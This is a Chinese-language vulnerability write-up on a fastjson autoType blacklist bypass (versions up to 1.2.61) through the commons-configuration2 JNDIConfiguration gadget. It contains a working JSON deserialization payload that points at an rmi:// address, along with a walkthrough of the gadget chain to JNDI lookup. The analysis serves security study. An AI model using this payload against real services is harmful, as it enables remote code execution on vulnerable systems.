在fastjson 1.2.61的版本中,增加了autoType的安全组件黑名单commons-configuration,成功绕过了黑名单限制,利用反序列化特性造成远程代码执行,该组件是java应用程序的配置管理类,用于协助管理各种格式的配置文件。
漏洞复现
Idea创建项目,选择maven,jdk版本1.8.0_73,在pom.xml中添加如下代码,自动加载依赖:
- fastjson:1.2.60
- commons-configuration2: 2.6
1 | <dependencies> |
同样的,按照上一篇文章文章中写的,搭建一个恶意的RMI服务,使之加载。
poc:1
2
3
4
5
6
7
8
9
10import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class exp {
public static void main(String[] args){
String poc = "{\"@type\":\"org.apache.commons.configuration2.JNDIConfiguration\",\"prefix\":\"rmi://127.0.0.1:1099/Exploit\"}";
ParserConfig.global.setAutoTypeSupport(true);
JSON.parseObject(poc);
}
}
漏洞分析
在上一篇文章中写了fastjson在反序列化json数据时,会自动调用其属性XX的setXX
和getXX
方法,如果其中有JNDI Reference
注入漏洞,则可以造成RCE的效果。
在下面这段代码中,我们可以知道在使用JSON.parseObject
反序列化json数据时,会调用所有属性的get方法,以及相关属性的set方法。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.JSONObject;
public class User {
private int age;
private String name;
public int getAge() {
System.out.println("getAge方法被自动调用!");
return age;
}
public void setAge(int age) {
System.out.println("setAge方法被自动调用!");
this.age = age;
}
public String getName() {
System.out.println("getName方法被自动调用!");
return name;
}
public void setName(String name) {
System.out.println("setName方法被自动调用!");
this.name = name;
}
public static void main(String[] args) {
//使用@type指定该JSON字符串应该还原成何种类型的对象
String userInfo = "{\"@type\":\"test.User\",\"name\":\"passer6y\"}";
//开启setAutoTypeSupport支持autoType
ParserConfig.global.setAutoTypeSupport(true);
//反序列化成User对象
JSONObject user = JSON.parseObject(userInfo);
}
}
从下图我们知道,这里没有设置age属性,但是getAge
方法被调用了,且先调用set
方法后调用get
方法。
再回过头来看这个poc:1
String poc = "{\"@type\":\"org.apache.commons.configuration2.JNDIConfiguration\",\"prefix\":\"rmi://127.0.0.1:1099/Exploit\"}";
跟进这个组件的setPrefix
方法:
再跟一下成员变量this.prefix
:
所以漏洞成因就显而易见了,通过第一步的setPrefix
种入成员变量this.prefix
为恶意rmi服务地址,接着fastjson自动调用全部get方法,没有设置baseContext
成员变量,自然就触发了:1
(Context)this.getContext().lookup(this.prefix == null ? "" : this.prefix)
那么问题来了,this.getContext()
是怎么设置的呢?1
2
3public Context getContext() {
return this.context;
}
获取了成员变量this.context
,在构造方法中我们可以看到一顿套娃的操作,无参构造函数调用单参数构造函数,调用双参数构造函数,将new InitialContext()
赋给了成员变量this.context
最终导致漏洞产生。
索然无味,仅仅对gadget chain进行了简单分析,对fastjson的关键代码分析欠缺,接下里的任务就是搞懂fastjson漏洞触发的条件以及原理。
最后
漏洞影响fastjson版本:version <= 1.2.61
。修复也就是多了个组件黑名单。